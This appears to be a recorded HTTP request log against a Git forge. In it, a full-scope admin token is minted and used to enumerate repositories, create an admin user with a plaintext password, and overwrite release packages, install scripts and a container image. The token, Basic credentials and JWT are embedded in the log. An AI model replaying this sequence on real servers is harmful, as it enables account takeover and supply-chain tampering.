{"method": "POST", "target": "/admin/users/2/edit", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 265", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/2/edit", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "_autofill_dummy_username=&_autofill_dummy_password=&user_name=bob&login_type=0-0&visibility=0&login_name=&full_name=Bob+Example&pronouns=&email=bob%40example.com&password=&language=en-US&website=&location=&max_repo_creation=-1&active=on&allow_create_organization=on"}
|
|
||||||
{"method": "GET", "target": "/admin/users/2", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/2/edit", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US; flash=success%3DThe%2Buser%2Baccount%2Bhas%2Bbeen%2Bupdated."], "body": ""}
|
|
||||||
{"method": "POST", "target": "/user/settings/applications/tokens/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 241", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/applications/tokens/new", "Accept-Encoding: gzip, deflate", "Cookie: session=34fdf904aa90270d; lang=en-US"], "body": "name=build-token&repo_search=&page=1&scope=write%3Aactivitypub&scope=write%3Aadmin&scope=write%3Aissue&scope=write%3Amisc&scope=write%3Anotification&scope=write%3Aorganization&scope=write%3Apackage&scope=write%3Arepository&scope=write%3Auser"}
|
|
||||||
{"method": "POST", "target": "/user/settings/applications/tokens/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 254", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/applications/tokens/new", "Accept-Encoding: gzip, deflate", "Cookie: session=8ed5d13514629cf4; lang=en-US"], "body": "name=build-token&resource=all&repo_search=&page=1&scope=write%3Aactivitypub&scope=write%3Aadmin&scope=write%3Aissue&scope=write%3Amisc&scope=write%3Anotification&scope=write%3Aorganization&scope=write%3Apackage&scope=write%3Arepository&scope=write%3Auser"}
|
|
||||||
{"method": "GET", "target": "/user/settings/applications", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/applications/tokens/new", "Accept-Encoding: gzip, deflate", "Cookie: session=8ed5d13514629cf4; lang=en-US; flash=info%3D518efde244d57864ef12487cdec73aa828e5deaf%26success%3DYour%2Bnew%2Btoken%2Bhas%2Bbeen%2Bgenerated.%2BCopy%2Bit%2Bnow%2Bas%2Bit%2Bwill%2Bnot%2Bbe%2Bshown%2Bagain."], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/version", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/user", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/settings/api", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/search?q=python3&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/users/search?q=bob", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/users/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/issues/search?q=ls%20-la&type=issues", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/issues/search?q=build", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=all&q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/branches/python3-migration", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/tags", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/contents?ref=main", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/contents/.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/contents/docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/contents/scripts/install-script.sh?ref=main", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/raw/bin/docker-entrypoint", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/media/src/process.env.d.ts", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/commits?path=scripts/install-script.sh&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/commits?sha=python3-migration", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/git/trees/main", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/labels", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/collaborators", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/hooks", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/admin/users", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/admin/orgs", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/orgs/acme", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/users/alice/repos", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/notifications", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/labels", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 68"], "body": "{\"name\":\"bug\",\"color\":\"#ee0701\",\"description\":\"Something is broken\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/issues", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 83"], "body": "{\"title\":\"Document the python3 setup\",\"body\":\"Say which version the scripts need.\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/issues/3/comments", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 40"], "body": "{\"body\":\"The setup notes cover it now.\"}"}
|
|
||||||
{"method": "PATCH", "target": "/api/v1/repos/alice/tools/issues/3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 18"], "body": "{\"state\":\"closed\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/issues/3/assets", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------c8PTgaGzJM0bzMXgzs4jFA"], "body": "--------------------------c8PTgaGzJM0bzMXgzs4jFA\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------c8PTgaGzJM0bzMXgzs4jFA--\r\n"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/issues/3/assets?name=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------8vBtFvaNGea9428ByqN6zh"], "body": "--------------------------8vBtFvaNGea9428ByqN6zh\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------8vBtFvaNGea9428ByqN6zh--\r\n"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/releases", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 69"], "body": "{\"tag_name\":\"v1.2.0\",\"name\":\"Version 1.2.0\",\"body\":\"Smaller images.\"}"}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases/tags/v1.2.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/releases/3/assets?name=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------a8C2mRAVkCsfebNVoTuH9d"], "body": "--------------------------a8C2mRAVkCsfebNVoTuH9d\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------a8C2mRAVkCsfebNVoTuH9d--\r\n"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/releases/3/assets", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------bwR0eGsF72IMLlKpnzjarK"], "body": "--------------------------bwR0eGsF72IMLlKpnzjarK\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------bwR0eGsF72IMLlKpnzjarK--\r\n"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 100"], "body": "{\"content\":\"V3JpdGUtSG9zdCAiYnVpbGQiCg==\",\"message\":\"Add a PowerShell build script\",\"branch\":\"main\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 59"], "body": "{\"new_branch_name\":\"python3-docs\",\"old_branch_name\":\"main\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 96"], "body": "{\"title\":\"Add Dockerfile\",\"head\":\"feat/docker-support\",\"base\":\"main\",\"body\":\"Builds the image.\"}"}
|
|
||||||
{"method": "PATCH", "target": "/api/v1/repos/alice/tools", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 87"], "body": "{\"description\":\"Build scripts, notes and a Dockerfile\",\"website\":\"https://example.com\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/forks", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 23"], "body": "{\"organization\":\"acme\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/admin/users", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 107"], "body": "{\"username\":\"dave\",\"email\":\"dave@example.com\",\"password\":\"Lp6-xRw4-Bq9z-Hs3d\",\"must_change_password\":false}"}
|
|
||||||
{"method": "PATCH", "target": "/api/v1/admin/users/dave", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 80"], "body": "{\"login_name\":\"dave\",\"full_name\":\"Dave Example\",\"password\":\"Yt2-cNm8-Fg5k-Wa7e\"}"}
|
|
||||||
{"method": "DELETE", "target": "/api/v1/repos/alice/tools/branches/python3-docs", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/generic/tools/1.2.0/tools-linux-amd64.tar.gz", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/packages/alice?q=tools", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/packages/alice?type=generic&q=install-script", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/api/packages/alice/generic/tools/1.2.0/tools-linux-amd64.tar.gz", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: curl/8.17.0", "Accept: */*", "Content-Length: 41"], "body": "Steps to reproduce: run the build twice.\n"}
|
|
||||||
{"method": "PUT", "target": "/api/packages/alice/generic/install-script/1.0.0/install-script.sh", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: curl/8.17.0", "Accept: */*", "Content-Length: 41"], "body": "Steps to reproduce: run the build twice.\n"}
|
|
||||||
{"method": "GET", "target": "/v2/", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fpython3-app%3Apush%2Cpull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "HEAD", "target": "/v2/alice/python3-app/manifests/1.0", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
|
|
||||||
{"method": "HEAD", "target": "/v2/alice/python3-app/blobs/sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/v2/alice/python3-app/blobs/uploads/", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/json", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "HEAD", "target": "/v2/alice/python3-app/blobs/sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
|
|
||||||
{"method": "PATCH", "target": "/v2/alice/python3-app/blobs/uploads/iljdbd0gxw2zdibpfrajzu", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 144", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": "H4sIAAAAAAAE/+zRQQoCIRTG8bfuFJ6g+Wu+8TwughYDymTQ8YOaNhK0More+y1E3ej35VonGTwASVV4TL8CiNeQFB9jQvAcohenQ1+1uZxbXp2TtZS2Hb307v5H5Vqn03FZyr5dR/0PYI6x7/25B+au/xDw4vhEpn/e/7373fiYjTHGfJfbAH2FcNwACgAA"}
|
|
||||||
{"method": "PUT", "target": "/v2/alice/python3-app/blobs/uploads/iljdbd0gxw2zdibpfrajzu?digest=sha256%3A1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "PATCH", "target": "/v2/alice/python3-app/blobs/uploads/1eu6yk4t4l8lmbsedmyw9l", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 233", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": "{\"architecture\":\"\",\"created\":\"0001-01-01T00:00:00Z\",\"history\":[{\"created\":\"0001-01-01T00:00:00Z\"}],\"os\":\"\",\"rootfs\":{\"type\":\"layers\",\"diff_ids\":[\"sha256:19e75beae854ceb749acf78607bea3b2c0b04b74bbcc28f15e846683cf8e0b9d\"]},\"config\":{}}"}
|
|
||||||
{"method": "PUT", "target": "/v2/alice/python3-app/blobs/uploads/1eu6yk4t4l8lmbsedmyw9l?digest=sha256%3Af4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
